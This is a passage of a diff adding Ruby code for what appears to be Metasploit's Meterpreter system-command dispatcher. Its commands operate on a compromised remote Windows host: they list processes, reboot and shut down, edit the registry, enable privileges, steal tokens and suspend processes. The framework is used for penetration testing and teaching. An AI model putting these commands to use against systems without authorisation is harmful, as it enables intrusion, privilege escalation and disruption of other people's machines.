+ print_line("No running processes were found.")
467
+ else
468
+ print_line
469
+ print_line(processes.to_table("Indent" => 1).to_s)
470
+ print_line
471
+ end
472
+ return true
473
+ end
474
+
475
+ def cmd_ps_help
476
+ print_line "Use the command with no arguments to see all running processes."
477
+ print_line "The following options can be used to filter those results:"
478
+
479
+ print_line @@ps_opts.usage
480
+ end
481
+
482
+
483
+
484
+ #
485
+ # Reboots the remote computer.
486
+ #
487
+ def cmd_reboot(*args)
488
+ force = 0
489
+
490
+ if args.length == 1 and args[0].strip == "-h"
491
+ print(
492
+ "Usage: reboot [options]\n\n" +
493
+ "Reboot the remote machine.\n" +
494
+ @@reboot_opts.usage)
495
+ return true
496
+ end
497
+
498
+ @@reboot_opts.parse(args) { |opt, idx, val|
499
+ case opt
500
+ when "-f"
501
+ force = val.to_i
502
+ end
503
+ }
504
+ print_line("Rebooting...")
505
+
506
+ client.sys.power.reboot(force, SHTDN_REASON_DEFAULT)
507
+ end
508
+
509
+ #
510
+ # Modifies and otherwise interacts with the registry on the remote computer
511
+ # by allowing the client to enumerate, open, modify, and delete registry
512
+ # keys and values.
513
+ #
514
+ def cmd_reg(*args)
515
+ # Extract the command, if any
516
+ cmd = args.shift
517
+
518
+ if (args.length == 0)
519
+ args.unshift("-h")
520
+ end
521
+
522
+ # Initiailze vars
523
+ key = nil
524
+ value = nil
525
+ data = nil
526
+ type = nil
527
+ wowflag = 0x0000
528
+ rem = nil
529
+
530
+ @@reg_opts.parse(args) { |opt, idx, val|
531
+ case opt
532
+ when "-h"
533
+ print_line(
534
+ "Usage: reg [command] [options]\n\n" +
535
+ "Interact with the target machine's registry.\n" +
536
+ @@reg_opts.usage +
537
+ "COMMANDS:\n\n" +
538
+ " enumkey Enumerate the supplied registry key [-k <key>]\n" +
539
+ " createkey Create the supplied registry key [-k <key>]\n" +
540
+ " deletekey Delete the supplied registry key [-k <key>]\n" +
541
+ " queryclass Queries the class of the supplied key [-k <key>]\n" +
542
+ " setval Set a registry value [-k <key> -v <val> -d <data>]\n" +
543
+ " deleteval Delete the supplied registry value [-k <key> -v <val>]\n" +
544
+ " queryval Queries the data contents of a value [-k <key> -v <val>]\n\n")
545
+ return false
546
+ when "-k"
547
+ key = val
548
+ when "-v"
549
+ value = val
550
+ when "-t"
551
+ type = val
552
+ when "-d"
553
+ data = val
554
+ when "-r"
555
+ rem = val
556
+ when "-w"
557
+ if val == '64'
558
+ wowflag = KEY_WOW64_64KEY
559
+ elsif val == '32'
560
+ wowflag = KEY_WOW64_32KEY
561
+ end
562
+ end
563
+ }
564
+
565
+ # All commands require a key.
566
+ if (key == nil)
567
+ print_error("You must specify a key path (-k)")
568
+ return false
569
+ end
570
+
571
+ # Split the key into its parts
572
+ root_key, base_key = client.sys.registry.splitkey(key)
573
+
574
+ begin
575
+ # Rock it
576
+ case cmd
577
+ when "enumkey"
578
+
579
+ open_key = nil
580
+ if not rem
581
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
582
+ else
583
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
584
+ if remote_key
585
+ open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
586
+ end
587
+ end
588
+
589
+ print_line(
590
+ "Enumerating: #{key}\n")
591
+
592
+ keys = open_key.enum_key
593
+ vals = open_key.enum_value
594
+
595
+ if (keys.length > 0)
596
+ print_line(" Keys (#{keys.length}):\n")
597
+
598
+ keys.each { |subkey|
599
+ print_line("\t#{subkey}")
600
+ }
601
+
602
+ print_line
603
+ end
604
+
605
+ if (vals.length > 0)
606
+ print_line(" Values (#{vals.length}):\n")
607
+
608
+ vals.each { |val|
609
+ print_line("\t#{val.name}")
610
+ }
611
+
612
+ print_line
613
+ end
614
+
615
+ if (vals.length == 0 and keys.length == 0)
616
+ print_line("No children.")
617
+ end
618
+
619
+ when "createkey"
620
+ open_key = nil
621
+ if not rem
622
+ open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + wowflag)
623
+ else
624
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
625
+ if remote_key
626
+ open_key = remote_key.create_key(base_key, KEY_WRITE + wowflag)
627
+ end
628
+ end
629
+
630
+ print_line("Successfully created key: #{key}")
631
+
632
+ when "deletekey"
633
+ open_key = nil
634
+ if not rem
635
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
636
+ else
637
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
638
+ if remote_key
639
+ open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
640
+ end
641
+ end
642
+ open_key.delete_key(base_key)
643
+
644
+ print_line("Successfully deleted key: #{key}")
645
+
646
+ when "setval"
647
+ if (value == nil or data == nil)
648
+ print_error("You must specify both a value name and data (-v, -d).")
649
+ return false
650
+ end
651
+
652
+ type = "REG_SZ" if (type == nil)
653
+
654
+ open_key = nil
655
+ if not rem
656
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
657
+ else
658
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
659
+ if remote_key
660
+ open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
661
+ end
662
+ end
663
+
664
+ open_key.set_value(value, client.sys.registry.type2str(type), data)
665
+
666
+ print_line("Successful set #{value}.")
667
+
668
+ when "deleteval"
669
+ if (value == nil)
670
+ print_error("You must specify a value name (-v).")
671
+ return false
672
+ end
673
+
674
+ open_key = nil
675
+ if not rem
676
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
677
+ else
678
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
679
+ if remote_key
680
+ open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
681
+ end
682
+ end
683
+
684
+ open_key.delete_value(value)
685
+
686
+ print_line("Successfully deleted #{value}.")
687
+
688
+ when "queryval"
689
+ if (value == nil)
690
+ print_error("You must specify a value name (-v).")
691
+ return false
692
+ end
693
+
694
+ open_key = nil
695
+ if not rem
696
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
697
+ else
698
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
699
+ if remote_key
700
+ open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
701
+ end
702
+ end
703
+
704
+ v = open_key.query_value(value)
705
+
706
+ print(
707
+ "Key: #{key}\n" +
708
+ "Name: #{v.name}\n" +
709
+ "Type: #{v.type_to_s}\n" +
710
+ "Data: #{v.data}\n")
711
+
712
+ when "queryclass"
713
+ open_key = nil
714
+ if not rem
715
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
716
+ else
717
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
718
+ if remote_key
719
+ open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
720
+ end
721
+ end
722
+
723
+ data = open_key.query_class
724
+
725
+ print("Data: #{data}\n")
726
+ else
727
+ print_error("Invalid command supplied: #{cmd}")
728
+ end
729
+ ensure
730
+ open_key.close if (open_key)
731
+ end
732
+ end
733
+
734
+ #
735
+ # Calls RevertToSelf() on the remote machine.
736
+ #
737
+ def cmd_rev2self(*args)
738
+ client.sys.config.revert_to_self
739
+ end
740
+
741
+ def cmd_getprivs_help
742
+ print_line "Usage: getprivs"
743
+ print_line
744
+ print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the"
745
+ print_line "current process. Note that this only enables existing privs and does not change"
746
+ print_line "users or tokens."
747
+ print_line
748
+ print_line "See also: steal_token, getsystem"
749
+ print_line
750
+ end
751
+
752
+ #
753
+ # Obtains as many privileges as possible on the target machine.
754
+ #
755
+ def cmd_getprivs(*args)
756
+ if args.include? "-h"
757
+ cmd_getprivs_help
758
+ end
759
+ print_line("=" * 60)
760
+ print_line("Enabled Process Privileges")
761
+ print_line("=" * 60)
762
+ client.sys.config.getprivs.each do |priv|
763
+ print_line(" #{priv}")
764
+ end
765
+ print_line("")
766
+ end
767
+
768
+ #
769
+ # Tries to steal the primary token from the target process.
770
+ #
771
+ def cmd_steal_token(*args)
772
+ if(args.length != 1 or args[0] == "-h")
773
+ print_error("Usage: steal_token [pid]")
774
+ return
775
+ end
776
+ print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
777
+ end
778
+
779
+ #
780
+ # Drops any assumed token.
781
+ #
782
+ def cmd_drop_token(*args)
783
+ print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
784
+ end
785
+
786
+ #
787
+ # Displays information about the remote system.
788
+ #
789
+ def cmd_sysinfo(*args)
790
+ info = client.sys.config.sysinfo
791
+ width = "Meterpreter".length
792
+ info.keys.each { |k| width = k.length if k.length > width and info[k] }
793
+
794
+ info.each_pair do |key, value|
795
+ print_line("#{key.ljust(width+1)}: #{value}") if value
796
+ end
797
+ print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}")
798
+
799
+ return true
800
+ end
801
+
802
+ #
803
+ # Shuts down the remote computer.
804
+ #
805
+ def cmd_shutdown(*args)
806
+ force = 0
807
+
808
+ if args.length == 1 and args[0].strip == "-h"
809
+ print(
810
+ "Usage: shutdown [options]\n\n" +
811
+ "Shutdown the remote machine.\n" +
812
+ @@shutdown_opts.usage)
813
+ return true
814
+ end
815
+
816
+ @@shutdown_opts.parse(args) { |opt, idx, val|
817
+ case opt
818
+ when "-f"
819
+ force = val.to_i
820
+ end
821
+ }
822
+
823
+ print_line("Shutting down...")
824
+
825
+ client.sys.power.shutdown(force, SHTDN_REASON_DEFAULT)
826
+ end
827
+
828
+ #
829
+ # Suspends or resumes a list of one or more pids
830
+ #
831
+ # +args+ can optionally be -c to continue on error or -r to resume
832
+ # instead of suspend, followed by a list of one or more valid pids
833
+ #
834
+ # @todo Accept process names, much of that code is done (kernelsmith)
835
+ #
836
+ # @param args [Array<String>] List of one of more pids
837
+ # @return [Boolean] Returns true if command was successful, else false
838
+ def cmd_suspend(*args)
839
+ # give'em help if they want it, or seem confused
840
+ if args.length == 0 or (args.include? "-h")
841
+ cmd_suspend_help
842
+ return true
843
+ end
844
+
845
+ continue = args.delete("-c") || false
846
+ resume = args.delete("-r") || false
847
+
848
+ # validate all the proposed pids first so we can bail if one is bogus
849
+ valid_pids = validate_pids(args)
850
+ args.uniq!
851
+ diff = args - valid_pids.map {|e| e.to_s}
852
+ if not diff.empty? # then we had an invalid pid
853
+ print_error("The following pids are not valid: #{diff.join(", ").to_s}.")
854
+ if continue
855
+ print_status("Continuing. Invalid args have been removed from the list.")
856
+ else
857
+ print_error("Quitting. Use -c to continue using only the valid pids.")
858
+ return false
859
+ end
860
+ end
861
+
862
+ targetprocess = nil
863
+ if resume
864
+ print_status("Resuming: #{valid_pids.join(", ").to_s}")
865
+ else
866
+ print_status("Suspending: #{valid_pids.join(", ").to_s}")
867
+ end
868
+ begin
869
+ valid_pids.each do |pid|
870
+ print_status("Targeting process with PID #{pid}...")
871
+ targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
872
+ targetprocess.thread.each_thread do |x|
873
+ if resume
874
+ targetprocess.thread.open(x).resume
875
+ else
876
+ targetprocess.thread.open(x).suspend
877
+ end
878
+ end
879
+ end
880
+ rescue ::Rex::Post::Meterpreter::RequestError => e
881
+ print_error "Error acting on the process: #{e.to_s}."
882
+ print_error "Try migrating to a process with the same owner as the target process."
883
+ print_error "Also consider running the win_privs post module and confirm SeDebug priv."
884
+ return false unless continue
885
+ ensure
886
+ targetprocess.close if targetprocess
887
+ end
888
+ return true
889
+ end
890
+
891
+ #
892
+ # help for the suspend command
893
+ #
894
+ def cmd_suspend_help
895
+ print_line("Usage: suspend [options] pid1 pid2 pid3 ...")
896
+ print_line("Suspend one or more processes.")
897
+ print @@suspend_opts.usage
898
+ end
899
+
900
+ end
901
+
902
+ end
903
+ end
904
+ end
905
+ end
906
+